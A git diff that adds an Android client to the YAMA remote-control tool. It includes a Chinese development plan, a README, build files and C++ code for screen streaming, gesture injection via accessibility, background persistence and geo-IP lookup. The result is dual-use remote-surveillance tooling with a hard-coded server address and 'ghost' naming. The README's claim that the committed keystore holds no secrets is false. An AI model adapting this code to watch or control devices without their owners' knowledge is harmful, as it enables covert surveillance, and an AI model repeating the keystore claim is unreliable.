│ └── res/
│ ├── mipmap-*/ic_launcher.png # 传统图标(各密度)
│ ├── mipmap-*/ic_launcher_foreground.png # Adaptive Icon 前景层
│ ├── mipmap-anydpi-v26/ic_launcher.xml # Adaptive Icon 定义
│ ├── values/colors.xml # ic_launcher_background (#F2F2F2)
│ ├── values/strings.xml
│ └── xml/accessibility_service_config.xml
├── build.gradle (project-level)
└── settings.gradle
```
> **注**:原计划中的 `InputHandler.cpp` 已合并至 `main.cpp``DispatchControlEvent` 全局函数)和 `ControlService.kt``SystemManager.cpp` 留待 Phase 4。
---
## 四、开发阶段
### Phase 0工程初始化 ✅ 已完成
- 创建 Android Studio 项目,配置 NDK + CMake
- `CMakeLists.txt` 引入 `common/``client/` 源文件(与 `linux/CMakeLists.txt` 同构)
- 编译验证 `IOCPClient.cpp + Buffer.cpp + sign_shim_unix.cpp + ikcp.c` 在 NDK 下无错误
- `SimplePlugins/sign_lib/` 新增 `sha256_portable.h`(纯 C零外部依赖`build_android.sh`,在 WSL + NDK r27c 下成功交叉编译,产物已复制至 `android/app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/libsign.a`
### Phase 1连接与协议 ✅ 已完成
- 移植 `linux/main.cpp` 的连接逻辑到 `android/cpp/main.cpp`
- `CaptureService.kt` 通过 `YamaBridge.nativeInit()` 启动 C++ 网络线程
- 实现登录握手(`LOGIN_INFOR`)、心跳(`TOKEN_HEARTBEAT` + `CMD_HEARTBEAT_ACK` RTT 估算)、认证状态机(`client_auth_state.h`
- 设备信息上报ANDROID_IDXXH64 作为 ClientID、型号、OS 版本、分辨率
- 心跳日志限流60 秒最多打印一次,避免 logcat 刷屏
### Phase 2屏幕捕获与编码 ✅ 已完成
- `CaptureService.kt`:申请 `MediaProjection`,建立 `VirtualDisplay`Surface 直连 `MediaCodec`
- SPS/PPS 缓存IDR 帧发送前自动拼接,子连接 `COMMAND_NEXT` 后开始推流
- `ScreenHandler.h`:发送 `TOKEN_BITMAPINFO`(含 `ScreenSettings.QualityLevel=H264``SendH264` 封装帧头
- 服务端 H264 解码器正常显示 Android 屏幕 ✅
- 服务端适配:`ScreenSpyDlg.cpp` 新增 `ComputeAdaptiveLayout()` 自适应缩放和信箱黑边,`m_offsetX/Y` 修正坐标映射(已合入 `main` 分支)
### Phase 3操作控制 ✅ 已完成branch: feature/android-remote-control
- `ControlService.kt``AccessibilityService`):手势注入、全局键、双击/长按/滚轮
- `main.cpp::DispatchControlEvent()`JNI 反向调用,将 `COMMAND_SCREEN_CONTROL` 路由到 Kotlin
- `ScreenHandler.h::OnReceive`:子连接也可接收 `COMMAND_SCREEN_CONTROL`,统一调用 `DispatchControlEvent`
- 坐标 Bug 修复64-bit MSG 与 MSG64 的 `pt.x/pt.y` 偏移不同MSG: offset 36MSG64: offset 40改为从 lParam两者均在 offset 24提取坐标与其他所有客户端保持一致
- 单击无效 Bug 修复:零长度手势路径被 Android 静默拒绝tap 改用 `lineTo(x+1, y)` 非退化路径
- 代码审查修复JNI `ExceptionClear()`
### Phase 3 后期修复 ✅ 已完成
发现并修复的生产问题:
| 问题 | 根因 | 修复文件 |
|------|------|---------- |
| 静止屏幕首帧黑屏 10-60 秒 | SurfaceFlinger 空闲优化:无脏区时不向 VirtualDisplay 推帧,`REQUEST_SYNC_FRAME` 永远排队等不到输入帧 | `CaptureService.forceFirstFrame()`VirtualDisplay 临时 resize +2px 触发强制合成;`main.cpp``SendBitmapInfo` 后调用 `ForceFirstFrameFromJava()` |
| 部分硬件编码器 IDR 帧未被识别 | 高通等 SoC 对强制 IDR 不设置 `BUFFER_FLAG_KEY_FRAME``SendLoop` 将其当作 P 帧丢弃,首帧永远发不出 | `CaptureService.isNaluKeyframe()`:扫描 Annex-B NALU type 5/7/8 补充判断 |
| H.264 推流在 `SendBitmapInfo` 前卡住 | 推送模式下服务端 `COMMAND_NEXT` 到达时 `setManagerCallBack` 尚未注册消息被丢弃,`m_started` 永远为 `false` | `ScreenHandler.h::SendBitmapInfo()` 末尾直接 `m_started=true; m_cond.notify_all()` |
| 多用户不能同时观看/控制 | `g_screenHandler` 单指针 + `g_screenSpyRunning` 互斥锁,只允许一条子连接 | `main.cpp`:改为 `std::set<AndroidScreenHandler*> g_screenHandlers``nativeOnH264Frame` 广播给全部 handler每个 `COMMAND_SCREEN_SPY` 独立建立子连接,对齐 Windows/Linux/macOS 客户端行为 |
### Phase 4系统信息与稳定性进行中
**已完成:**
| 功能 | 说明 |
|------|------|
| 活动窗口上报 | `ControlService` 监听 `TYPE_WINDOW_STATE_CHANGED`,通过 JNI `getActiveWindow()` 上报当前前台包名;锁屏时上报 `"Locked"` |
| 心跳间隔下限 | Android 侧将服务端下发的 `ReportInterval` 强制限制为 `max(收到值, 30)`,防止 5s 高频心跳耗电 |
| 服务端心跳超时延长 | `CheckHeartbeat()` 超时阈值从 `max(60, interval*3)` 改为 `max(120, interval*3)`,与 30s 心跳间隔留出 4 倍余量 |
| CPU 频率上报 | `GetCpuMHz()` 优先读 `/sys/devices/system/cpu/*/cpufreq/cpuinfo_max_freq`,虚拟机无此节点时回退读 `/proc/cpuinfo``BogoMIPS` |
| 后台保活 | `ForegroundService` + 持久通知Phase 2 已完成),豁免 Doze 模式网络限制 |
| 应用图标 | 自定义眼睛图标,支持 Android 8+ Adaptive Icon前景层 + 浅灰背景),兼容各厂商形状裁切 |
| Release 签名 | `yama-release.jks` 随仓库分发,密码通过 `YAMA_PWD` 环境变量或交互输入,保证多机一致签名 |
**待完成:**
- 处理 `MediaProjection` 被用户撤销的情况(弹出通知,引导重授权)
- 连接断线自动重连后子连接同步重建(目前 `ScreenSpyThread` 有 20 次重试,但主连接重连后子连接未同步恢复)
- `WM_MBUTTONDOWN`(中键)手势映射(目前静默丢弃)
- `SystemManager` 封装:将 Java 层已上报的设备信息型号、版本、IP统一封装为独立模块
---
## 五、关键约束与风险
| 风险 | 影响 | 状态 |
|------|------|------|
| ~~`libsign.a` 无 ARM 构建~~ | ~~Phase 0 阻塞~~ | ✅ 已解决:`sha256_portable.h` + `build_android.sh` |
| Android 12+ `MediaProjection` 需每次重新申请 | 后台录屏被中断 | `ForegroundService` 保活 + 通知引导重授权 |
| `AccessibilityService` 用户需手动开启 | 操作控制功能受限 | UI 引导流程,说明开启步骤 |
| 某些厂商 ROM 限制后台 Service | 连接断开 | 电池优化白名单申请 |
| H.264 Baseline Level 对齐 | 服务端解码兼容性 | `MediaCodec` 输出指定 `profile=Baseline`,与 x264 现有配置一致 |
| `AccessibilityService` 无法向系统设置页面注入手势 | 设置界面无法远程操作 | Android 安全限制,无解,提示用户 |
---
## 六、代码审查注意事项
### 最高原则:既有功能无破坏
增加 Android 客户端支持时Windows/Linux/macOS 客户端的全部既有功能必须保持正常。每次改动上线前须验证:
| 检查项 | 说明 |
| --- | --- |
| `isAndroidRemote` 初始值为 `false` | 非 Android 客户端走原有代码路径,不受影响 |
| `updateUIForOrientation()` Android 分支有 `isAndroidRemote &&` 守卫 | 非 Android 客户端不会进入沉浸模式分支 |
| `NotifyResolutionChange` 新参数有默认值 `= ""` | 现有调用点即便漏传也能正常编译和运行 |
| `FindHostByClientID``FindHostByIP` 一致的指针返回约定 | ScreenSpyDlg 在 UI 线程OnInitDialog调用OnReceiveComplete 在 IO 线程调用,后者读 `additonalInfo[]` 为只读操作,低概率竞争 |
| Web 端坐标映射 `getTouchPos` 使用 `getBoundingClientRect()` | 动态取 canvas 实际显示尺寸CSS 拉伸不影响坐标精度 |
| Android 边缘手势检测有时间和距离双重门槛 | 普通慢速拖拽不会被误识别为系统手势 |
### 审查流程
1. `git diff HEAD` 逐文件审查,重点关注非 Android 代码路径的改动
2. 确认所有新增条件分支均以 `isAndroidRemote``client_type === 'APK'` 等 Android 专有标志守卫
3. 共享协议结构体(`commands.h``LOGIN_INFOR``szReserved`)改动需确认向前/向后兼容
4. 服务端 C++ 改动在 Windows 下编译,前端 `index.html` 在桌面和移动浏览器两端验证
---
## 七、不在本期范围
- 音频监听(`AudioRecord` + Opus 编码)
- 文件管理(已有 `FileTransferV2`,后期可直接接入)
- 摄像头(前/后摄)
- Shell 终端(`/system/bin/sh` + PTY可参考 `PTYHandler.h`
- Root 特权功能uinput、内核注入

172
android/README.md Normal file
View File

@@ -0,0 +1,172 @@
# YAMA Android 客户端
YAMA 的 Android 客户端,允许服务端将 Android 设备作为受控主机进行远程查看和操控。功能包括:
- 屏幕实时截图并推流给服务端
- 接收服务端的触控/按键指令并注入到系统
- 后台保持心跳连接,支持长期驻留
---
## 编译前:配置服务端地址
服务端 IP 和端口在源码中硬编码,编译前必须修改:
文件:`app/src/main/java/com/yama/client/MainActivity.kt`
```kotlin
private val serverIp = "91.99.165.207" // 改为你的服务端 IP
private val serverPort = 443 // 改为你的服务端端口
```
改完再执行编译,否则客户端连不上服务端。
---
## 编译环境
**WSLUbuntu或原生 Linux** 上编译Windows 原生环境不支持。
| 依赖 | 版本要求 | 安装命令 |
|---|---|---|
| Java | 17+ | `sudo apt install openjdk-17-jdk` |
| CMake | 3.22+ | `sudo apt install cmake` |
| Ninja | 任意 | `sudo apt install ninja-build` |
| Android SDK | 含 build-tools | 见下方说明 |
| Android NDK | 30.xLinux 版) | 见下方说明 |
### Android SDK
推荐通过 Android Studio 安装,安装后 SDK 默认在:
- Windows`%USERPROFILE%\AppData\Local\Android\Sdk`
- Linux`~/Android/Sdk`
WSL 环境下脚本会自动检测 Windows 侧的 SDK也可以手动指定
```bash
export ANDROID_HOME=/mnt/c/Users/<用户名>/AppData/Local/Android/Sdk
```
### Android NDKLinux 版)
> **重要**:必须使用 **Linux 版 NDK**Windows NDK 的 `.exe` 工具无法在 WSL 内执行。
```bash
# 下载 Linux NDK约 600 MB
wget https://dl.google.com/android/repository/android-ndk-r30b-linux.zip
unzip android-ndk-r30b-linux.zip -d $HOME
# 解压目录名可能带字母后缀r30、r30b 等),统一重命名
mv $HOME/android-ndk-r30* $HOME/android-ndk
```
脚本会自动检测 `~/android-ndk`,也可以通过环境变量指定:
```bash
export ANDROID_NDK_HOME=$HOME/android-ndk
```
---
## 签名密钥(一次性准备)
Release APK 需要签名密钥。密钥库文件 `yama-release.jks` 已在仓库中,**密码需向仓库维护者获取**,或通过以下方式传入:
```bash
# 方式一:环境变量(推荐,避免每次输入)
export YAMA_PWD=密钥库密码
# 方式二:编译时脚本会交互提示输入
```
如需重新生成密钥库(密码遗失等情况):
```bash
cd android/
keytool -genkeypair -keystore yama-release.jks \
-alias yama -keyalg RSA -keysize 2048 -validity 10000 \
-dname 'CN=YAMA,O=Internal,C=CN'
```
> 密钥库文件本身不含私密信息,可以提交到 git密码不要提交。
> 重新生成密钥库后,已安装旧版本的设备需要先卸载再安装。
---
## 编译
在 WSL 或 Linux 终端中,进入 `android/` 目录:
```bash
cd android/
# 编译 Release默认约 1.7 MB推荐部署用
./build_apk.sh
# 编译 Debug约 4 MB含调试符号开发排查用
./build_apk.sh debug
# 清理所有编译产物(切换配置或遇到奇怪错误时使用)
./build_apk.sh clean
```
编译成功后产物:
| 类型 | 路径 |
|---|---|
| Release | `ghost.apk` |
| Debug | `ghost-debug.apk` |
---
## 安装到设备
### 1. 传输 APK
`ghost.apk` 拷贝到手机USB 传输、微信文件传输等均可)。
### 2. 安装
在手机上用文件管理器找到 APK点击安装。
如提示"禁止安装未知来源应用",需先开启允许:
- **Android 8+**:设置 → 应用 → 找到你使用的文件管理器 → 允许安装未知应用
- **MIUI/ColorOS 等**:设置 → 隐私/安全 → 安装未知应用
### 3. 解除受限设置Android 13+ 必须)
Android 13 及以上系统对手动安装的 APK 有额外限制,若不解除,无法授权 Accessibility Service
1. 打开 **设置 → 应用 → YAMA**
2. 点击右上角 **三点菜单**
3. 选择 **"允许受限设置"**Allow restricted settings
4. 使用 PIN 或指纹确认
> 此步骤每次重新安装 APK 后都需要重复执行一次。
### 4. 授权必要权限
**Accessibility Service**(必须,用于注入触控/按键)
设置 → 无障碍 → 已安装的应用 → YAMA → 开启
> 重装 APK 后此权限会被重置,需重新授权。
### 5. 启动
点击桌面 YAMA 图标启动,系统会弹出屏幕录制确认框,点击 **"立即开始"** 授权。
授权后应用进入后台运行,通知栏会显示一条持久通知表示服务正在运行。此后服务端即可在主机列表中看到该设备。
> 屏幕录制确认在每次应用重启后都会弹出,这是 Android 系统的强制要求,无法跳过。
---
## 注意事项
- 建议在电池优化设置中将 YAMA 设为 **"不限制"**(或"不优化"),防止系统在后台将其杀掉
- 路径:设置 → 应用 → YAMA → 电池 → 不限制
- 心跳间隔最小 30 秒,长期后台运行耗电量与微信后台相当
- 服务端可在设置中调大上报间隔(建议不超过 60 秒)以进一步降低耗电

83
android/app/build.gradle Normal file
View File

@@ -0,0 +1,83 @@
plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
}
// 模拟器调试时传 -PincludeEmulatorAbis=truebuild_apk.sh 发布时强制传 false
def INCLUDE_EMULATOR_ABIS = project.findProperty('includeEmulatorAbis')?.toBoolean() ?: false
android {
namespace 'com.yama.client'
compileSdk 35
ndkVersion "30.0.14904198"
defaultConfig {
applicationId "com.yama.client"
minSdk 21
targetSdk 35
versionCode 1
versionName "1.0"
ndk {
if (INCLUDE_EMULATOR_ABIS) {
abiFilters 'arm64-v8a', 'armeabi-v7a', 'x86', 'x86_64'
} else {
abiFilters 'arm64-v8a', 'armeabi-v7a'
}
}
externalNativeBuild {
cmake {
cppFlags '-std=c++17'
arguments '-DANDROID_STL=c++_static'
}
}
}
externalNativeBuild {
cmake {
path "src/main/cpp/CMakeLists.txt"
version "3.22.1"
}
}
signingConfigs {
release {
storeFile file("../yama-release.jks")
storePassword System.getenv("YAMA_PWD") ?: ""
keyAlias 'yama'
keyPassword System.getenv("YAMA_PWD") ?: ""
}
}
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
'proguard-rules.pro'
signingConfig signingConfigs.release
}
}
packagingOptions {
jniLibs {
// .so 文件不压缩ZIP_STORED使服务端 patch 工具可直接在 APK 中搜索 FLAG_GHOST
useLegacyPackaging false
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_17
targetCompatibility JavaVersion.VERSION_17
}
kotlinOptions {
jvmTarget = '17'
}
}
dependencies {
implementation 'androidx.core:core-ktx:1.13.1'
implementation 'androidx.appcompat:appcompat:1.7.0'
}

2
android/app/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,2 @@
# Keep all app classes JNI method names must match exactly
-keep class com.yama.client.** { *; }

View File

@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<application
android:allowBackup="false"
android:extractNativeLibs="false"
android:icon="@mipmap/ic_launcher"
android:roundIcon="@mipmap/ic_launcher_round"
android:label="YAMA"
android:supportsRtl="true"
android:theme="@style/Theme.YAMA">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name=".CaptureService"
android:foregroundServiceType="dataSync|mediaProjection"
android:exported="false" />
<service
android:name=".ControlService"
android:description="@string/accessibility_service_description"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
</application>
</manifest>

View File

@@ -0,0 +1,56 @@
cmake_minimum_required(VERSION 3.22)
project(yama_client LANGUAGES CXX C)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)
# YAMA 根目录相对于本文件cpp/ → main/ → src/ → app/ → android/ → YAMA/
get_filename_component(YAMA_ROOT "${CMAKE_CURRENT_SOURCE_DIR}/../../../../../" ABSOLUTE)
# ---- 头文件搜索路径(与 linux/CMakeLists.txt 同构)----
include_directories(
${YAMA_ROOT}
${YAMA_ROOT}/client
${YAMA_ROOT}/compress
${CMAKE_CURRENT_SOURCE_DIR} # android_compat.h
)
# ---- 强制注入兼容头(替代修改共用源文件)----
add_compile_options(-include "${CMAKE_CURRENT_SOURCE_DIR}/android_compat.h")
# ---- 核心源文件(与 linux/CMakeLists.txt 相同)----
set(CORE_SOURCES
${YAMA_ROOT}/client/Buffer.cpp
${YAMA_ROOT}/client/IOCPClient.cpp
${YAMA_ROOT}/client/sign_shim_unix.cpp
${YAMA_ROOT}/common/logger.cpp
${YAMA_ROOT}/common/ikcp.c
)
# ---- Android NDK 入口 ----
set(ANDROID_SOURCES
main.cpp
)
add_library(yama SHARED ${CORE_SOURCES} ${ANDROID_SOURCES})
# ---- 预编译静态库(由 android/build_android_libs.ps1 产出)----
# 支持 arm64-v8a / armeabi-v7a真机和 x86 / x86_64Android 模拟器)
target_link_libraries(yama PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libsign.a"
)
target_link_libraries(yama PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libzstd.a"
)
# ---- Android 系统库 ----
target_link_libraries(yama PRIVATE android log)
# ---- 编译选项 ----
target_compile_options(yama PRIVATE
-O2
-fvisibility=hidden
-Wno-unused-parameter
-Wno-missing-field-initializers
)

View File

@@ -0,0 +1,200 @@
#pragma once
// Android 屏幕处理器:管理截屏子连接,接收 Java 侧 MediaCodec 输出的 H.264 NALU
// 按协议封装后通过子连接发送给服务端。
#include "common/commands.h"
#include "client/IOCPClient.h"
#include <atomic>
#include <mutex>
#include <condition_variable>
#include <queue>
#include <vector>
#include <thread>
#include <cstring>
#include <cinttypes>
#include <android/log.h>
#define LOGI_SH(...) __android_log_print(ANDROID_LOG_INFO, "YAMA_SCR", __VA_ARGS__)
#define LOGE_SH(...) __android_log_print(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
extern uint64_t g_myClientID;
// 定义在 main.cpp供子连接的 OnReceive 调用
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
// Linux/macOS 共用的 BITMAPINFOHEADER 布局(与 Windows 完全一致)
#pragma pack(push, 1)
struct BmpInfoHeader {
uint32_t biSize;
int32_t biWidth;
int32_t biHeight;
uint16_t biPlanes;
uint16_t biBitCount;
uint32_t biCompression;
uint32_t biSizeImage;
int32_t biXPelsPerMeter;
int32_t biYPelsPerMeter;
uint32_t biClrUsed;
uint32_t biClrImportant;
};
#pragma pack(pop)
class AndroidScreenHandler : public IOCPManager {
public:
AndroidScreenHandler(IOCPClient* client, int width, int height)
: m_client(client), m_width(width), m_height(height),
m_started(false), m_running(true), m_firstSent(false)
{
memset(&m_bmpHdr, 0, sizeof(m_bmpHdr));
m_bmpHdr.biSize = sizeof(BmpInfoHeader);
m_bmpHdr.biWidth = width;
m_bmpHdr.biHeight = height;
m_bmpHdr.biPlanes = 1;
m_bmpHdr.biBitCount = 32;
m_bmpHdr.biCompression = 0;
m_bmpHdr.biSizeImage = (uint32_t)(width * height * 4);
// 1 = top-down H264Android MediaCodec 标准编码顺序);
// 服务端据此用负步长写 DIB抵消 GDI bottom-up 翻转
m_bmpHdr.biClrImportant = 1;
m_sendThread = std::thread(&AndroidScreenHandler::SendLoop, this);
}
~AndroidScreenHandler() {
m_running = false;
m_cond.notify_all();
if (m_sendThread.joinable())
m_sendThread.join();
}
// 子连接建立后立即调用,告知服务端屏幕尺寸和编码格式
void SendBitmapInfo() {
const uint32_t total = 1 + sizeof(BmpInfoHeader) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
std::vector<uint8_t> buf(total, 0);
buf[0] = TOKEN_BITMAPINFO;
memcpy(&buf[1], &m_bmpHdr, sizeof(BmpInfoHeader));
uint64_t clientID = g_myClientID;
uint64_t zero = 0;
size_t off = 1 + sizeof(BmpInfoHeader);
memcpy(&buf[off], &clientID, 8);
memcpy(&buf[off + 8], &zero, 8);
ScreenSettings ss = {};
ss.MaxFPS = 10;
ss.ScreenWidth = m_width;
ss.ScreenHeight = m_height;
ss.QualityLevel = QUALITY_GOOD; // 告知服务端使用 H264 解码器
ss.ScreenType = USING_VIRTUAL; // 虚拟显示
memcpy(&buf[off + 16], &ss, sizeof(ss));
m_client->Send2Server((char*)buf.data(), total);
LOGI_SH("SendBitmapInfo %dx%d clientID=%" PRIu64, m_width, m_height, clientID);
// H.264 是推送模式,不需要等 COMMAND_NEXT 才开始发帧。
// 服务端在 auth 通过瞬间发 COMMAND_NEXT此时 setManagerCallBack 尚未注册,
// 消息被 WorkThread 丢弃m_started 永远 false 导致帧全部卡在队列里。
m_started = true;
m_cond.notify_all();
}
// 由 JNI 线程调用,投递 MediaCodec 输出的 NALU
void OnFrameData(const uint8_t* data, uint32_t size, bool isKeyframe) {
if (!m_running || size == 0) return;
{
std::lock_guard<std::mutex> lk(m_mutex);
while (m_queue.size() >= 6) m_queue.pop();
m_queue.push({std::vector<uint8_t>(data, data + size), isKeyframe});
}
m_cond.notify_one();
}
virtual VOID OnReceive(PBYTE data, ULONG size) override {
if (!size) return;
switch (data[0]) {
case COMMAND_NEXT:
// 推送模式下已在 SendBitmapInfo 里开始推流;此处保留兼容,无副作用。
LOGI_SH("COMMAND_NEXT received");
m_started = true;
m_cond.notify_all();
break;
case CMD_QUALITY_LEVEL:
if (size >= 2) LOGI_SH("QualityLevel=%d", (int)(int8_t)data[1]);
break;
case COMMAND_SCREEN_CONTROL: {
// 服务端通过子连接下发鼠标/键盘控制包MSG64 固定 48 字节)
// 坐标从 lParamoffset 24读取与 Windows/Linux/macOS 客户端一致:
// lParam = MAKELPARAM(enc_x, enc_y)低16位=x高16位=y。
// 不读 pt.x/pt.y (offset 40/44)64-bit MSG 的 pt 在 offset 36
// 与 MSG64 offset 40 不同,直接读会得到错误坐标。
if ((ULONG)size < 1 + 48u) break;
const uint8_t* p = data + 1;
uint64_t msgVal = 0, wParam = 0, lParam = 0;
memcpy(&msgVal, p + 8, 8);
memcpy(&wParam, p + 16, 8);
memcpy(&lParam, p + 24, 8);
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
break;
}
default:
break;
}
}
private:
struct Frame { std::vector<uint8_t> data; bool isKeyframe; };
IOCPClient* m_client;
int m_width, m_height;
std::atomic<bool> m_started;
std::atomic<bool> m_running;
std::atomic<bool> m_firstSent;
std::atomic<bool> m_skipLogged{false};
BmpInfoHeader m_bmpHdr;
std::queue<Frame> m_queue;
std::mutex m_mutex;
std::condition_variable m_cond;
std::thread m_sendThread;
void SendLoop() {
while (m_running) {
std::unique_lock<std::mutex> lk(m_mutex);
m_cond.wait(lk, [&]{ return (!m_queue.empty() && m_started) || !m_running; });
if (!m_running) break;
Frame f = std::move(m_queue.front());
m_queue.pop();
lk.unlock();
// 第一帧必须是关键帧
if (!m_firstSent && !f.isKeyframe) {
if (!m_skipLogged.exchange(true))
LOGI_SH("SendLoop: waiting for first IDR, skipping P-frames");
continue;
}
if (!m_firstSent)
LOGI_SH("SendH264 first IDR size=%u", (uint32_t)f.data.size());
SendH264(f.data.data(), (uint32_t)f.data.size());
m_firstSent = true;
}
}
// 格式: [TOKEN_NEXTSCREEN:1][ALGORITHM_H264:1][cursorX:4][cursorY:4][cursorType:1][NALU:N]
void SendH264(const uint8_t* nalu, uint32_t naluSize) {
const uint32_t hdrSize = 1 + 1 + 4 + 4 + 1;
std::vector<uint8_t> pkt(hdrSize + naluSize);
pkt[0] = TOKEN_NEXTSCREEN;
pkt[1] = ALGORITHM_H264;
// cursor: (0,0), type: IDC_ARROW=1
memset(&pkt[2], 0, 8);
pkt[10] = 1;
memcpy(&pkt[hdrSize], nalu, naluSize);
m_client->Send2Server((char*)pkt.data(), pkt.size());
}
};

View File

@@ -0,0 +1,24 @@
// android_compat.h - Android NDK 兼容垫片,通过 CMake force-include 注入每个源文件
// 不修改任何共用代码client/、common/
#pragma once
#ifdef __ANDROID__
#include <string.h>
#include <stdlib.h>
#ifdef __cplusplus
#include <cstring>
#include <cstdlib>
// strcpy_s(dest, src) — MSVC 2-arg 扩展Android NDK 无此签名
template<size_t N>
inline int strcpy_s(char (&dest)[N], const char* src) {
strncpy(dest, src ? src : "", N - 1);
dest[N - 1] = '\0';
return 0;
}
#endif // __cplusplus
// rand_s — Windows 安全随机数Android 用 arc4random 替代
#define rand_s(p) (*(p) = (unsigned int)arc4random(), 0)
#endif // __ANDROID__

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,825 @@
#include <jni.h>
#include <android/log.h>
#include <thread>
#include <chrono>
#include <atomic>
#include <mutex>
#include <set>
#include <string>
#include <cstring>
#include <cinttypes>
#include <cstdio>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include "common/commands.h"
#include "common/client_auth_state.h"
#include "common/rtt_estimator.h"
#include "client/IOCPClient.h"
#include "ScreenHandler.h"
#define XXH_INLINE_ALL
#include "common/xxhash.h"
#include "common/logger.h"
#define LOG_TAG "YAMA"
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
// 1 = 状态提示显示到电视屏幕0 = 只写 logcat不显示到屏幕
#define SCREEN_STATUS_ENABLED 0
extern "C" int signMessage_c(const char* pk, int pkLen, const unsigned char* msg,
int msgLen, char* buf, int bufSize);
// ---- 设备信息 helper登录时填充仅调用一次----
static int GetCpuCores() {
long n = sysconf(_SC_NPROCESSORS_ONLN);
return (n > 0) ? (int)n : 1;
}
static double GetMemoryGB() {
FILE* f = fopen("/proc/meminfo", "r");
if (!f) return 0.0;
char line[128];
unsigned long kb = 0;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "MemTotal: %lu kB", &kb) == 1) break;
}
fclose(f);
return kb / (1024.0 * 1024.0);
}
// 遍历 cpu0-cpu7取 cpuinfo_max_freq 最大值(大核频率)
static int GetCpuMHz() {
// 优先从 sysfs 读取(真机有效)
unsigned long maxKhz = 0;
char path[80];
for (int i = 0; i < 8; i++) {
snprintf(path, sizeof(path),
"/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", i);
FILE* f = fopen(path, "r");
if (!f) continue;
unsigned long khz = 0;
if (fscanf(f, "%lu", &khz) == 1 && khz > maxKhz) maxKhz = khz;
fclose(f);
}
if (maxKhz > 0) return (int)(maxKhz / 1000);
// 回退:解析 /proc/cpuinfo 中的 "BogoMIPS"(模拟器可用)
FILE* f = fopen("/proc/cpuinfo", "r");
if (!f) return 0;
char line[128];
double bogomips = 0;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "BogoMIPS : %lf", &bogomips) == 1 ||
sscanf(line, "bogomips : %lf", &bogomips) == 1) break;
}
fclose(f);
return bogomips > 0 ? (int)bogomips : 0;
}
static long GetFileSize(const std::string& path) {
if (path.empty()) return 0;
struct stat st;
return (stat(path.c_str(), &st) == 0) ? (long)st.st_size : 0;
}
static std::string FormatFileSize(long bytes) {
char buf[32];
if (bytes >= 1024 * 1024)
snprintf(buf, sizeof(buf), "%.1fM", bytes / (1024.0 * 1024.0));
else if (bytes >= 1024)
snprintf(buf, sizeof(buf), "%.1fK", bytes / 1024.0);
else
snprintf(buf, sizeof(buf), "%ldB", bytes);
return buf;
}
// 从 JSON 字符串中提取字符串字段值
static std::string JsonGetStr(const std::string& json, const char* key) {
std::string needle = std::string("\"") + key + "\":";
auto pos = json.find(needle);
if (pos == std::string::npos) return "";
pos += needle.size();
while (pos < json.size() && json[pos] == ' ') pos++;
if (pos >= json.size() || json[pos] != '"') return "";
pos++;
auto end = json.find('"', pos);
return (end == std::string::npos) ? "" : json.substr(pos, end - pos);
}
// 查询 ip-api.com一次请求同时获取公网 IP 和地理位置(与 Windows 客户端同源)
// 在连接线程中同步调用,超时 3 秒
struct GeoResult {
std::string pubIp, location;
std::atomic<bool> ready{false};
};
static void FetchGeoInfoImpl(std::shared_ptr<GeoResult> out) {
struct addrinfo hints = {}, *res = nullptr;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo("ip-api.com", "80", &hints, &res) != 0 || !res) {
out->ready.store(true, std::memory_order_release); return;
}
int fd = ::socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) { freeaddrinfo(res); out->ready.store(true, std::memory_order_release); return; }
struct timeval tv = {3, 0};
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
connect(fd, res->ai_addr, res->ai_addrlen);
fd_set wfds; FD_ZERO(&wfds); FD_SET(fd, &wfds);
bool connected = (select(fd + 1, nullptr, &wfds, nullptr, &tv) == 1);
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) & ~O_NONBLOCK);
